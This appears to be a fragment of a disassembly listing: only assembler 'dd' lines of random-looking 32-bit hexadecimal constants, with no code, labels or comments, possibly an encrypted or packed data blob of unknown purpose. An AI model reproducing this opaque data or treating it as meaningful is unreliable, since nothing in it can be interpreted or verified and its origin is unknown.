		dd 0FFE489D5h, 0E5575AC2h, 68E9B1A9h, 42E83ABCh, 6C37059Eh
		dd 7CF3C18Fh, 0FE32B45h, 28C1B980h, 0B8324F53h,	62310BC5h
		dd 8E9340F3h, 417D2C37h, 84A39209h, 0D3F3BA8Fh,	0AF0558C4h
		dd 9E38D3B1h, 0EA7468C4h
		dd 13742DA3h, 0BC116B46h, 0D4EA4531h, 540B3E09h, 429BE9C0h
		dd 79565FFAh, 29565D72h, 79A9CF5Bh, 0FC5A6561h,	4C97B1BBh
		dd 0D860C86Bh, 5C346E14h, 0F20979F2h, 231ADA2h,	56D827Fh
		dd 0FA2EA5Fh, 487F2D7Ch, 0D0C012DFh, 0F16CF8D3h, 0BE850C57h
		dd 9E2FB8A1h, 25E938B0h, 5C2E5BEh, 4468525Dh, 52D7C5Bh
		dd 0CFC4E5D1h, 0F24A8EACh, 1F490525h, 77FA1E05h, 0A9AF753Bh
		dd 6FF17ED2h, 0BBA4B9BCh, 0BB6BF4h, 1264667Fh, 439FFEBFh
		dd 4ECEF458h, 11E678FBh, 4B8AAE56h, 0C9D1DDFAh,	0FFFA7564h
		dd 8B48DBC1h, 55F92195h, 14802F30h, 68D54882h, 89554BB4h
		dd 0E52D09A8h, 7A5970EAh, 3A3EF882h, 29BA447Ch,	42EB10E4h
		dd 40B70F58h, 8151C231h, 4CA76B50h, 0D70337Eh, 8B26311Ch
		dd 481DE15h, 765368EFh,	45F34457h, 0E2112C09h, 1AD109F3h
		dd 8002CC90h, 2839C207h, 0E61A5AD0h, 40208614h,	0F42DB192h
		dd 0B198FF88h, 0F549E950h, 37E05B3Bh, 344C653Ah, 12EACA55h
		dd 34B89836h, 71E9EFE4h, 0B30F6609h, 9EF00C69h,	385B9DFh
		dd 3B8078A7h, 17357594h, 4EAC132h, 0BF3420D8h, 2DC63B47h
		dd 9E4DF709h, 60F332A5h, 24AFBB1Eh, 186C980Dh, 87E90BB1h
		dd 66FF3B55h, 0A25F706Dh, 3079EBF3h, 42103767h,	0E4A5068h
		dd 3216278Ch, 364EAC46h, 5C18F750h, 0AD128F66h,	6838C20Ah
		dd 0EF152C3h, 291D5612h, 33C0FB70h, 0C7384C47h,	0D4659705h
		dd 4863BC0Ch, 0B42D0E47h, 9DE92253h, 60054A1Eh,	0C9FA01C6h
		dd 0B8855FA3h, 3664AF0Ah, 0E55B9282h, 276809F1h, 0BF815F79h
		dd 6FD91AA7h, 6948803Bh, 0E9124213h, 0AB8C3D4Dh, 0F66C40D4h
		dd 0EA80D20Eh, 5AD302C6h, 0E096D588h, 0CFB75305h, 2004F828h
		dd 9073E5Bh, 0AC7775F7h, 0AEE74F1Ch, 34546358h,	4BCEB8D6h
		dd 8EAB91D1h, 8DE63F4Ch, 4018257Fh, 2C1A1348h, 0AA257732h
		dd 20CFF2A4h, 0F39D97CDh, 50440ABAh, 232685BDh,	0E1308009h
		dd 0AA2F754Ch, 0A7802018h, 0A0067201h, 0EE548BCBh, 85E9156Bh
		dd 5213E97Eh, 0C123ED15h, 224997B9h, 74B97Ch, 563F255Dh
		dd 110AA7BEh, 134E795Ah, 78F0A2C6h, 5DAFC215h, 76ADADF6h
		dd 79DF5A3Ah, 38E9500Ah, 0A042446Ah, 0B9479A03h, 0DC4ADF4Fh
		dd 7612688Bh, 0BDB6601Bh, 0F44FF680h, 330854E8h, 0E904DE20h
		dd 79A38E4Ch, 1D16ED15h, 7D11BA00h, 19E96734h, 802AC867h
		dd 0E1070867h, 5857C157h, 2366B30Fh, 0CC68155Ah, 0F278256Ch
		dd 62CCBF6Dh, 0FC34ED02h, 60D0D504h, 0BF4B3EB4h, 234AF1B2h
		dd 2814FC81h, 0EDA56052h, 62FD5F0h, 0F24978AAh,	40C309E7h
		dd 0A86B7419h, 0FDF967E0h, 0FA299802h, 0A515B6E9h, 0E1AABB73h
		dd 8DB54141h, 0D75E023Dh, 0DC4B5071h, 0BE8CC278h, 7A625A07h
		dd 2F27C4EFh, 0B16613E1h, 6481B40Ch, 76B18A3Bh,	0D314862h
		dd 0D9172604h, 0C4E1FF6Bh, 0B2241CFh, 17043A61h, 5792BD82h
		dd 0C08163E4h, 0DB0404FCh, 64FA9C77h, 6FE6EF6Dh, 23E6E90Bh
		dd 682F1DEEh, 20045A35h, 1F9C0F86h, 2512D049h, 0CD4525F2h
		dd 54B95E16h, 0BCDECA3Eh, 0D921C4CFh, 2BCE3DBEh, 8EF1D6ACh
		dd 0E52724E4h, 0B15E1C78h, 4159E20Bh, 7EEEC90Bh, 0F8689ED9h
		dd 49A31666h, 39F97CA2h, 225CD31Fh, 0B2A7B8E5h,	4BB8B097h
		dd 3327D10Ch, 2F99A643h, 0FB5D5C09h, 619B00D5h,	72B877ADh
		dd 180C56E2h, 3547EFE9h, 7E190CBDh, 93D2202Bh, 0C4A783Bh
		dd 12DDF745h, 53E13D1h,	0D8CD9356h, 30DD57B2h, 2E590693h
		dd 0C09110FFh, 0F506ABFh, 60B0705Ah, 0B1575425h, 5451785Bh
		dd 1D2D8678h, 0C2126B4Bh, 4027D435h, 0DEB5B0D0h, 4FFA8969h
		dd 0F918115Dh, 24D2EA14h, 0DF3F6103h, 35F8A03Eh, 7B881340h
		dd 790E2ADCh, 42C46BC8h, 53C4E15Fh, 4C7DEF2Fh, 7630FF2Fh
		dd 971FB0E9h, 812561C6h, 970EC412h, 12515849h, 49D657E3h
		dd 3A0B881h, 0E03A2F3Ch, 3300855Dh, 7B0D63D5h, 975AB747h
		dd 7A2A055h, 141A905h, 0C7253F1Bh, 303AB132h, 709829FFh
		dd 0F4EFA8A1h, 2227D20Ch, 0E47800D1h, 0B5CE4D50h, 351C1850h
		dd 3C441D84h, 21E2C601h, 0BC77298Fh, 0CD067CF9h, 45EA871Dh
		dd 0F2813F06h, 0E2DE571Bh, 1A550FA2h, 17128ECDh, 7D1C4000h
		dd 4817210h, 6A440FE6h,	1716FE5Ch, 14029DADh, 15E6F17h
		dd 5D02E808h, 0F867D7CFh, 0C0C8F82Ah, 472A7C28h, 0E87FE916h
		dd 413097A1h, 0D65966A8h, 0D955EF42h, 6658803h,	7AB85000h
		dd 14A1746h, 0D0679805h, 0C8F12579h, 35797307h,	24FE7B16h
		dd 41BFF1B0h, 4D40548h,	0C62A2D7Ah, 0D90184AFh,	0E96AAF20h
		dd 0DC7F0C41h, 0C72F892Ch, 0DF59C258h, 6816594Ch, 7346342h
		dd 58799FC0h, 0B97F5CCFh, 0D5C9844Bh, 0DD61EF82h, 0AC2A3997h
		dd 2988DE8Dh, 93C11D4Dh, 82E2040Ah, 1BFC133Eh, 0E41B1385h
		dd 695F951Fh, 0FA500828h, 416D5E54h, 4201208Dh,	4343A0Ah
		dd 0B4F745BEh, 848BFAF3h, 8B238D86h, 0B888AAC4h, 0EA6328EEh
		dd 0A0261A71h, 2A167C58h, 4A773DADh, 9C18132h, 604449D9h
		dd 0A03A9231h, 5FE5C8AFh, 2905E8ADh, 0A00BE9CAh, 409D31EFh
		dd 80B601A9h, 502EC2BBh, 0E3004245h, 65304825h,	0CC7F79E9h
		dd 99B2B220h, 0D5FB8B9Dh, 59298EDh, 82CA84FEh, 0D4CC1F9Ch
		dd 73B77A2Bh, 4858FA3Dh, 0CDB3C5BAh, 3F5B3DFAh,	5DA65AACh
		dd 65CDB12Dh, 0CB61669h, 81C72919h, 781EEE71h, 10C97269h
		dd 8844D11Ah, 24266C27h, 8A39961Ch, 27096968h, 0E906B29Fh
		dd 5F144AD1h, 5D2DEE5Eh, 0EA55253Fh, 0E627B9Dh,	35E5A10h
		dd 9168F0BFh, 79B1D142h, 0A76CBE2Ah, 3AFB41DDh,	827F1B88h
		dd 0D828EB77h, 0BFDDAE96h, 2E5D0669h, 0FBD3854h, 0CC3357C8h
		dd 1B931F81h, 25164834h, 0EDE955C0h, 9BAC1D4Bh,	0C237099Eh
		dd 42BD95C6h, 158F6070h, 0D1AC7D8h, 44E0CF26h, 7783122Dh
		dd 0F590A84Ch, 0FEEB6497h, 4DD45A4Ch, 174532Fh,	0D256F12Dh
		dd 71E12F15h, 0FDBE0704h, 3BE91632h, 0B050B840h, 0B7C52CB1h
		dd 0E24B31D0h, 0D4BE7109h, 0D02DBDDDh, 0BA1DEEFAh, 52121A53h
		dd 0BFBF84EAh, 5A7E5E8Bh, 5046284Ah, 0CC2CFF9Dh, 1AB8BA40h
		dd 0E233C1E8h, 0DBD25005h, 0B968E942h, 4034C130h, 8F4F5CA5h
		dd 36C4C6B2h, 0C18A5B72h, 8A5254BBh, 0DB45F70Bh, 7CB0C122h
		dd 8D6D8E4h, 0B9A05C05h, 0E7234BEAh, 76049029h,	3A12FB5Eh
		dd 2ABA1016h, 98FF5956h, 0E3BCE92Dh, 56E3226Ah,	0DCF09FE2h
		dd 5EAB294Fh, 383DC948h, 2CA7F431h, 6FBA1DC2h, 0C2667549h
		dd 0BABF6DAh, 0A1D7CC53h, 0E8EEE9B5h, 0B95E6497h, 973E6305h
		dd 0E3712E19h, 0F112BB71h, 0E03AA8CEh, 9D396851h, 0B25B1822h
		dd 94A440Fh, 0AC3C6BE3h, 20CCC7A8h, 669F3B14h, 46519D91h
		dd 5429680Bh, 2D3C26Ch,	0B5B2107h, 0BF542036h, 2E230EEBh
		dd 0B44812Fh, 57F83337h, 0C73E6C74h, 0A3D7369h,	7974AFA1h
		dd 25CF2004h, 9D563458h, 12D8FEECh, 0FA3AAA7Dh,	4A08A150h
		dd 0CB9762EEh, 5C13D37Ch, 84D4A3ABh, 0FDBA4F97h, 7D0804C5h
		dd 68022358h, 44591BBEh, 0B9FC0FA0h, 0C86BA297h, 82D27705h
		dd 0EAFD444Eh, 0A73FFA41h, 772861Fh, 0F868140Ah, 52DFC167h
		dd 0B2E7E063h, 0D00B7170h, 0C3142C5Ah, 7D75A2B9h, 15227AECh
		dd 95ED0FF0h, 29666F43h, 883F2F5h, 6D9A0C00h, 0EE3156A9h
		dd 263526E9h, 2722A827h, 927E0703h, 0C218CA43h,	0EAF1C185h
		dd 50660FD8h, 1362B479h, 0B8DB6EA7h, 50B81870h,	72EAB08Dh
		dd 0C63012B6h, 0B4A2AE58h
		dd 0DE2811C3h, 8D6CF4C4h, 0B83F4C61h, 2F85335h,	75380F05h
		dd 0CD20289Ah, 566F2C6Ah, 211FBE17h, 77A81DC5h,	0F6B7804Ah
		dd 673B77A5h, 0F2E60674h, 0A8F828h, 0CBE895C6h,	96E94E1Eh
		dd 0B71B7B5Ch, 0DDB45DC9h, 0B6401190h, 44E64889h, 883E4072h
		dd 0F02FCE72h, 5A9B145Ah, 2AFDA051h, 7AF35C9Fh,	13A99657h
		dd 85B5A58h, 0BF070183h, 77D17D4Dh, 0BA549BBh, 9520A7F6h
		dd 7A1B3904h, 0D8EF296Dh, 0DE680160h, 9E2510FAh, 682FC222h
		dd 3A4C335Fh, 4F3FBA20h, 62C9FD05h, 42A09F8h, 0FFB8EE68h
		dd 779AFA4Ah, 0B82C345Fh, 9F2B0FE6h, 5D043201h,	0BB12645Ah
		dd 7CD58CE4h, 0E2C54D25h, 13B65E2Eh, 0C746600Ah, 674AA86Fh
		dd 14482AECh, 0DA654205h, 0E98944BAh, 0B42E180h, 0A7523FC8h
		dd 0B55A58AFh, 27EBDBh,	3243C7C6h, 0E0E6C82Ch, 5BDE9A3Eh
		dd 95725892h, 9944587Bh, 0BDEE1ACh, 0EE828C7h, 7527588Ah
		dd 7C18F076h, 0C3B6033h, 0BD0044Ch, 6C095C90h, 0D74B9F59h
		dd 0EBF60FFAh, 5007390Bh, 3FA6537Bh, 0C2E9DA9Ah, 0C572FCDEh
		dd 0E286A124h, 560B3CCAh, 0B04A2DF2h, 6240D675h, 7954C4E9h
		dd 59C5E381h, 403F4F56h, 6F45EB7Ah, 0A4B5325Fh,	340102DBh
		dd 7BCA27FDh, 0A0F8F0F4h, 0C01FB2CDh, 7868BB4Ah, 29286CAEh
		dd 0EA20B0DDh, 0B1510047h, 30E0B2DBh, 83BF59CAh, 1712C234h
		dd 0FA04F20Bh, 0E789A421h, 0BB40757Eh, 17CEDE61h, 77F3DDC2h
		dd 792536A6h, 0DE6D0886h, 0B2AABD12h, 2F9E4CF4h, 5B28E130h
		dd 24AC2D7Bh, 65D2530Dh, 0E40BBD04h, 0EF2A0C18h, 8237F1BDh
		dd 34922FFCh, 0D2F93552h, 107E0C92h, 0A1515152h, 0E2E967F3h
		dd 0C641FEFFh, 97376B98h, 0F23A7380h, 0B2E09750h, 0D8042109h
		dd 6018E975h, 89EC8003h, 82C5CC99h, 0E230EE0Ch,	28B68058h
		dd 3D53DAF6h, 50F51FB3h, 1AFBCB5Bh, 3E8C75E9h, 0A8FE8741h
		dd 18BE857Ah, 0CD12B170h, 7B2DD10Bh, 0F2F404A8h, 164F9463h
		dd 6D1B62Dh, 713E476Ah,	70575E67h, 67885A60h, 4C5C81F2h
		dd 0D9485145h, 565B8B73h, 0FA3617A9h, 0D282734Bh, 19EB04DDh
		dd 80113012h, 2B1A0D75h, 0A40C2F61h, 0C0DED357h, 5E3AD8D7h
		dd 0BB945Ch, 0B7CD74AFh, 1D4BE9DBh, 0B2EF39C5h,	91E29330h
		dd 45C26809h, 0D8B09064h, 0E80E5227h, 3D0615D1h, 0FC923BFBh
		dd 3361AFCFh, 0CD7F2D40h, 0E18B2AB5h, 0F1C51018h, 682D5FF9h
		dd 0F45A0B90h, 62A5EFB5h, 7467D833h, 7F130805h,	12FFDEF7h
		dd 0E15CC9FCh, 0CE127B8Eh, 6943CABFh, 0A06EBCEDh, 0A4EAE589h
		dd 9BF0BF68h, 2D91AA5Dh, 0F8486687h, 0EFF84F64h, 0B069D844h
		dd 0B22FC9CDh, 0B2370A83h, 2E070821h, 0F4A94149h, 0B9518AF2h
		dd 6F61250Ah, 6C516008h, 53BF1FA4h, 0ACC5A557h,	0A5BD5580h
		dd 900F1A6Ah, 42340C55h, 650C3E8Dh, 0E4437126h,	20F0ED0Eh
		dd 1683959h, 65EF9445h,	0B93D907Eh, 592E13D0h, 72023A2Ah
		dd 0DC0C539Dh, 0F3992DFEh, 0E90F8456h, 4FB4A231h, 3B1041F4h
		dd 5B2ED0ACh, 19759A16h, 1861BA00h, 0DA9D63CBh,	5F088243h
		dd 805B1CD4h, 1218572h,	0C2C540BFh, 0CE88E97Eh,	9D2B6E5Fh
		dd 3900770Bh, 6F40DAFh,	4D5F3C98h, 47486730h, 0B434A51h
		dd 6ADEDA1Dh, 114BE909h, 922AC6B3h, 0C55D87DDh,	0EAC18C24h
		dd 0E44B7432h, 0E3E3BCCCh, 793D4726h, 0F4CEBF4Bh, 1983B74Bh
		dd 29203EF6h, 3B52DD7Eh, 51B2A8B8h, 0C0F915CCh,	765AF174h
		dd 84073F9h, 0E0D3B659h, 2F7168C8h, 5126FCACh, 0BF0180FCh
		dd 6531792Bh, 0BCA8D82Fh, 64092E1Ch, 80A8EF93h,	0C800826h
		dd 0F3E36222h, 0FB2CBC05h, 0E4BCD150h, 1C356905h, 509AC757h
		dd 0E96C5F3Dh, 0DC18A625h, 0DAF652B7h, 62CA7D52h, 6F6B8360h
		dd 0D880E651h, 0ED0F553Fh, 0DCC70141h, 0CD008A8h, 90E90914h
		dd 0EC207233h, 62D72578h, 57122B14h, 9DA86FE9h,	1728EF4Bh
		dd 5C15E4B9h, 0A417F267h, 0C25AE9E5h, 740B5168h, 0D1E6657Bh
		dd 6C50E9C2h, 62FC4EFFh, 96486DACh, 5768C024h, 994E4D71h
		dd 41B70B33h, 0C16913D7h, 5D7FC3DFh, 0AB03351Eh, 2D2A39F5h
		dd 408E6916h, 0A21373A1h, 0BFA83FB5h, 650FED12h, 32D6A44Ch
		dd 2BAD1E12h, 0D0D001BBh, 7A42C837h, 0F419990Bh, 5FFD899Fh
		dd 7F6F6219h, 8BBBD412h, 800F4035h, 1697EA4Ch, 1D71BDFEh
		dd 11762539h, 0F87A3A13h, 2F0AD497h, 62D37C11h,	517F0F42h
		dd 0B2306B6Eh, 95D2D029h, 0C7A60ABAh, 0EF5CAFE6h, 4CD0E970h
		dd 358466C7h, 0C2810107h, 91F53E83h, 2C5A5092h,	6CB75228h
		dd 760A2DB5h, 801C7BE4h, 0DA39CFC3h, 0E8855CF9h, 95C8D784h
		dd 0DB86BAD9h, 2A507F5Dh, 9F93589Bh, 0D05F6F89h, 74794DAh
		dd 0E7696CEEh, 120356C1h, 118AF618h, 7E2FC60Ah,	194E665Ah
		dd 0F73F22DFh, 0BF83BFD6h, 0F503F01h, 0AFE9CCB8h, 58585F31h
		dd 7EBAEB2Eh, 0F301326Ch, 0FA09C310h, 0E13E22FDh, 364B49ECh
		dd 2913F3CAh, 2D2801FAh, 203B60A3h, 0E757835Bh,	569572F8h
		dd 0C52562C4h, 5359CD7Eh, 13FBC620h, 0BE037828h, 2C4999E0h
		dd 80D714E9h, 21E42DADh, 68257A3Ch, 20CFFAB8h, 0F5F47FC1h
		dd 20A4C50h, 4EEF8380h,	0C964BF04h, 0D470A6BAh,	0CECF8444h
		dd 0D2118DABh, 0BDE3F97Eh, 974378FEh, 0F72063E4h, 5D5A3B12h
		dd 0B94BB8BAh, 95078403h, 61B7B900h, 811A4503h,	0DF0DB5F1h
		dd 0CA449541h, 89BEBD0Fh, 0D538363Eh, 0E9C2E3F9h, 5E8D85Eh
		dd 34D3F2BEh, 7ED8B135h, 685621C0h, 9211126Fh, 0E9F5037Fh
		dd 0A4ECFD87h, 645C3F36h, 24C3005Dh, 0E9188340h, 202BF326h
		dd 4D1E229h, 0C11829E6h, 0B31205EAh, 755F3F23h,	0D4C73BF9h
		dd 0EB89D617h, 160BEC56h, 885AF10Bh, 800711BCh,	0F30454EBh
		dd 5A569687h, 95A95012h, 50879E34h, 372E94C3h, 7E08DC88h
		dd 76807A1h, 5975094Eh,	7CFE6907h, 55939025h, 488E2068h
		dd 0D59752FCh, 1410AD19h, 0C0D3C8C2h, 0B0C9872h, 1889F967h
		dd 11A65D5h, 0AF68D231h, 0C270545Eh, 57D88033h,	71FB549Dh
		dd 7A4AC168h, 0D68891D9h, 5E1698CEh, 641364B8h,	0D3BBFDD2h
		dd 9D5E6E98h, 279097ECh, 0A5B831BFh, 0F6FF152Eh, 5AD6090Bh
		dd 98BA9AC0h, 5E9DE13h,	86BEC441h, 0BD60597Ah, 0D8262EEh
		dd 0AF6CF089h, 0CC40B798h, 0FED61CB5h, 0D0C580CDh, 9DED80E5h
		dd 65EB302Ch, 80B12E44h, 0E1E6B16Bh, 4C372181h,	895B6881h
		dd 44A2F644h, 375DBA00h, 779757C5h, 40EB0700h, 5A5BB364h
		dd 8BC3B4C2h, 20D9FA08h, 64CF1E39h, 0EF9232E6h,	0F774EAC7h
		dd 3015ED0h, 81528F30h,	0D8007F7h, 961D7605h, 4B092D1Bh
		dd 0DD0A9D15h, 3E071488h, 135F1150h, 0CC4E8768h, 5B4A8BB3h
		dd 0A08E0B32h, 0D96851DAh, 44852D23h, 568D4100h, 0D11C6471h
		dd 0E1DD41E9h, 1A57B216h, 0B31DC1FEh, 96DA3C1Ah, 947194Dh
		dd 7AC62DFDh, 7BE20716h, 62017190h, 891BD55h, 3BCEC65Dh
		dd 0A02C3720h, 255616D2h, 0EC56DCF7h, 3343E941h, 0EBE0312Eh
		dd 38353E3Eh, 0D52C0482h, 0DA94260Bh, 2E36812h,	0D9BB8Ch
		dd 0BF08EE51h, 47E1D84h, 8E09314Ch, 6D06D97h, 48AE0F20h
		dd 54C572E0h, 3CA4E35Eh, 593CADE9h, 0BC4A1793h,	4F169610h
		dd 48058A01h, 0BD2F6E57h, 5CE92F5Fh, 45B99DE2h,	0FB1F5940h
		dd 47527641h, 0B23A7876h, 0DE730556h, 0AB136A66h, 0AF03C5FFh
		dd 42F05181h, 7C889C9Ah, 200165C1h, 0BC4A252Ch,	30E489EAh
		dd 4F965933h, 73B8FF49h, 0FE4EF699h, 218468A9h,	18C0C3F0h
		dd 0F5C20BE4h, 0E5DFDF2Bh
		dd 511A89CBh, 0D26213DEh, 0D8000BF7h, 2C787356h, 0ECF28100h
		dd 4A181C48h, 19BD2DE9h, 133CE8D9h, 0E649EB78h,	0BB9855DBh
		dd 5C4E5068h, 0BC0783F3h, 0D737A478h, 5846DB63h, 0F959520Bh
		dd 0BC8E5D03h, 2B41FA76h, 0CB6EE11Dh, 982FD8F1h, 0F9601421h
		dd 1AECBDFEh, 0E9654EF1h, 64A70459h, 27FA3584h,	83F5B05Eh
		dd 1009FD30h, 0DDB9E94Dh, 5059C118h, 3F18ACC8h,	0BE1A6993h
		dd 0DA305D39h, 0BB8FBC60h, 5E61F4ADh, 82E77E5Ch, 4A1CE983h
		dd 83BB2A38h, 0D16E7F36h, 23DBE1EBh, 2026739h, 1A01FE0h
		dd 0C2287E57h, 3A6971E9h, 0D59DDB5Bh, 0A6D1EB82h, 8E7E209Eh
		dd 0F15073C8h, 3EE366F3h, 0B079D9E3h, 31759AD7h, 44DD67ADh
		dd 0DD4902A2h, 0AA25900Fh, 8B15E8ACh, 2D04D004h, 0B255C6FAh
		dd 97D97523h, 0AED5D9C5h, 0D9888AEBh, 3120554Bh, 1DABB50Ah
		dd 190E200h, 5890057Dh,	3699254Fh, 32E1B040h, 12B34D8h
		dd 5B080B31h, 0BBC0D6DEh, 24974F1h, 8B13B80Ah, 97D0F5B6h
		dd 5EAE36D7h, 0E9097BEAh, 0BC448F09h, 9D279C84h, 4498CE02h
		dd 540D52C5h, 3974D7E9h, 0F22F02F1h, 0C7A8C4C4h, 12961616h
		dd 479EE50h, 145C0D93h,	0FE27B411h, 0E80F3FE4h,	0AB2C4B6Ch
		dd 0F581293Eh, 8924622h, 55F0BFC8h, 81734800h, 0B7AA14C6h
		dd 3B2D008Ch, 1074650h,	7A105F0h, 1AA93F5Eh, 551E0B93h
		dd 579DBFC4h, 81DFD429h, 555019DCh, 0D2291F7Eh,	9ED9EB7Dh
		dd 0D5F7CBECh, 0E0BCD9Ch, 91FD0BF8h, 0B9AD5812h, 850885F1h
		dd 0A5501738h, 5C133E0Fh, 5ACD7D01h, 6A604C8Eh,	300FB5B1h
		dd 0EB3A7E65h, 0FC7F663Dh, 4B82B8A3h, 747A8A40h, 87E5FB4Fh
		dd 22AC6Eh, 0E263D2EBh,	92D98991h, 341D021Dh, 0CF012E0Ch
		dd 80A34C2h, 5E5A812Bh,	0E3EF2960h, 5D080B95h, 0D8DC6890h
		dd 0F61ACEBDh, 970940Dh, 16DDF129h, 0B0E10610h,	7223396Eh
		dd 144FA09h, 470BD553h,	5AEEDF00h, 4FB035CAh, 0A858150Eh
		dd 1B0BA4F4h, 0F1C8CAFDh, 209DE525h, 9B876AE9h,	0F22A3CE3h
		dd 68B93ACEh, 95C1E9Dh,	20A958CFh, 2D9234D4h, 7140C0A9h
		dd 8A014E32h, 0A99410ECh, 6998F620h, 7AF33020h,	25343A81h
		dd 5357290Ch, 0B9C1E7C2h, 12FD8858h, 0FA26136Ah, 9C02714Fh
		dd 7410F91h, 871C1936h,	0E9F584EEh, 0F8E84Ch, 0EC1EBA0Dh
		dd 98E8C127h, 20A7906Fh, 4376E086h, 6897747Bh, 2C0FFC75h
		dd 12927673h, 968BACCBh, 34A61601h, 77F95E7Fh, 0C4312C74h
		dd 0EF29724Ch, 2F681128h, 481A7D5Eh, 0FD62C6DFh, 0A8161A62h
		dd 0E2D45213h, 8AB9C069h, 0F8651D64h, 23FB0AF1h, 17DA2B20h
		dd 631AA1Eh, 37754FE7h,	150F7D6h, 56A9D14Bh, 66CE079Ch
		dd 0D7F5D759h, 85D03780h, 0FFE1BF51h, 0AF9C886Eh, 12E6C34Eh
		dd 351E9A07h, 22EFE228h, 5B13F394h, 0E3BAC330h,	65680949h
		dd 17022279h, 5BC00FEBh, 2048B450h, 26755EB7h, 39243B4Fh
		dd 0B55160EEh, 0C900B4EDh, 0FEA0B652h, 0E4DEF6CEh, 0C8075D6h
		dd 6E6C0B9h, 0D9F30306h, 0D6258537h, 44AF2AE9h,	0AA5DEF2Dh
		dd 643998C7h, 82B8722Ch, 35AB7369h, 0F1E5F05Ch,	0E2044B92h
		dd 42DC2CB8h, 9F25CE0h,	0FD3FFB6Bh, 97B9F075h, 0F35FC8E2h
		dd 0AFEFA5BEh, 4CD342A5h, 773590BFh, 718325D6h,	881CD72h
		dd 0C4CE7B5Fh, 408AD244h, 2E2A6842h, 6620B431h,	0E5800561h
		dd 0E2C5FE35h, 22B380FDh, 0D33D12E9h, 0F5674514h, 4F65FA28h
		dd 0BF020CF9h, 5D6A1622h, 7581EA7Fh, 0CDE908A1h, 0C5897ED7h
		dd 806895E1h, 24545A2Dh, 6BC475DAh, 1BA8404Ah, 92D8DBC9h
		dd 0B6147F95h, 0DE029E5Ah, 775B1988h, 0FA648AF1h, 38BB5A90h
		dd 0A042FC6Dh, 559C7AEh, 0C0E9725Dh, 923996F4h,	0F6410A0Ch
		dd 4900C23h, 0D149723Ch, 89A9EFE3h, 0C24F3A0Eh,	8605C954h
		dd 0BE156D7Ch, 1AFB2B15h, 5FD5199Eh, 0E94107F9h, 708A0B6Eh
		dd 65ACC328h, 4E12AE5Eh, 0BED29AE7h, 48D87F04h,	9F86F9BAh
		dd 765AD54Dh, 0DE35EC2Bh, 0F35B9518h, 0E457280Ah, 93625AF4h
		dd 312DF0FEh, 4957F15Ah, 0ADD75BDDh, 520964C6h,	75466DE9h
		dd 5A68BC68h, 0C833795Ah, 0D9EEA564h, 2CA3E872h, 0ECEC2EE1h
		dd 53E950F0h, 0DCF2725Ah, 0F459C886h, 0ED194B17h, 99EE0BAFh
		dd 1B62468h, 0C75D8682h, 0DAF70941h, 1B55B268h,	3BD60267h
		dd 0BE5EF53Eh, 0EA56058Bh, 0D541E906h, 8AE665B3h, 2CD845F2h
		dd 0AB955306h, 28A455B2h, 5D5EE9A5h, 3D92F461h,	2310411h
		dd 40E2515Ch, 0D021595Ah, 0EBB0D19Fh, 7ADF2289h, 7BF3957Ah
		dd 0AA56571Fh, 3EB6957h, 592C22B6h, 5007A7AFh, 0E9C434A5h
		dd 89EFB22Dh, 0F762F7B6h, 405F17Dh, 0B8A502E9h,	0BA0C80F2h
		dd 372F7C12h, 0C5105C29h, 430C246Ch, 7AFC6891h,	56B3EF84h
		dd 3D01C490h, 0E9567466h, 17812598h, 178DA216h,	44F3EF93h
		dd 7CE72124h, 0C233ABCFh, 0BB83915h, 0E7ABAB54h, 0B753072Fh
		dd 7C2FC0E7h, 8005EFC5h, 680964C5h, 2F285ED4h, 1C53CF5h
		dd 0BC68575Ch, 3046BB02h, 0BA98C7C9h, 7917B82Ah, 194F4FF0h
		dd 49536230h, 9808B055h, 104D224Ah, 15EF05Ch, 0D0498BC5h
		dd 0C2DB0115h, 0E90881EDh, 0AE2E34F0h, 45441527h, 20E2B61h
		dd 0EB75E081h, 3BCC4839h, 68B5025Ah, 6EF76D89h,	420996D2h
		dd 5B023686h, 1CEA552Dh, 0E7BFCB02h, 21DF40Bh, 462035E2h
		dd 0DF24417Fh, 0BE02BF7Ch, 37C00E72h, 4ABF841h,	0ACE085E1h
		dd 45579C6Dh, 5882FF51h, 0EADF706Eh, 0AEE6036h,	0C3809DB3h
		dd 9BEF85Ah, 967753EFh,	0EE5F20FBh, 7A6EF2BFh, 28FB317Eh
		dd 2F4F2C24h, 84E324BEh, 6CB2FFAEh, 0F4C32CC5h,	2E6460CFh
		dd 0B2BAB916h, 0CC317CF4h, 7EFCB42h, 82515BE0h,	52D9C4F5h
		dd 0D3189F66h, 0CA2CC6EDh, 0A5E143BFh, 0E19352C2h, 0D70414Ch
		dd 643C2DE9h, 0C2D6C549h, 318B5C04h, 0AB847D4Ch, 4EF8B2F5h
		dd 5883D0EAh, 4E006905h, 122D09BFh, 945B786Eh, 27B0B60h
		dd 0C124EDC8h, 9294F53Dh, 0A457D06Ah, 0FD71BFC1h, 0EA4B800h
		dd 3569B600h, 5691754Fh, 72D70B2Dh, 4B4345D6h, 0E6E1B54Ah
		dd 0BABF1296h, 4B95128Ch, 0BEF3CC29h, 0A976120Ah, 0A1AF57Dh
		dd 0DE66806Bh, 256E7B1Dh, 0E571DD01h, 8619CF61h, 47D9E9EDh
		dd 1E46DA64h, 0BD21794Bh, 0AC4C42CDh, 0C49AB2F4h, 98EF4A68h
		dd 0EC2DFF03h, 0DA92FFEh, 782111F7h, 0FBEB520h,	307D73ADh
		dd 0BE827FC4h, 8BDF4CF2h, 16DDFEA5h, 5823FAE3h,	0B582DE11h
		dd 31D76362h, 0A86E890Fh, 0E5EBA434h, 0FAF76F5Dh, 0FDCF8B39h
		dd 8BFBF43Dh, 3EE9177Fh, 0EBCBA984h, 2EF2F76h, 0B1884CE5h
		dd 0A3FC2D4Eh, 68149D2Ah, 0D6A35FF8h, 2DFB3A75h, 924120E1h
		dd 6236122Fh, 0E4F9D588h, 78B5E942h, 5B96BE18h,	0F44A69FAh
		dd 0A5D24188h, 0BE06DF7h, 34362870h, 3396D795h,	4CB50D73h
		dd 41F6989Fh, 7CB52A4Bh, 6076CCh, 0BB537315h, 4F115B79h
		dd 0CE80094Eh, 651899CEh, 0BBB74E6Ch, 0E2BAB012h, 0C909A160h
		dd 55C1E131h, 0DB105872h, 0B9078DAh, 0DD41592Dh, 77C9BD00h
		dd 4648284Fh, 4ABD224Ah, 7BF4FDC2h, 85453BF3h, 0A7A35BD9h
		dd 8588EB4Eh, 270AB44Eh, 94AE1CFFh, 87186CD5h, 0EB67E914h
		dd 0EA2050BEh, 160D03E0h, 82C2292Dh, 0CAD80805h, 5E87406Ah
		dd 0CB78599Dh, 2141ECF6h, 60625BD8h, 0EA243012h, 186A1F61h
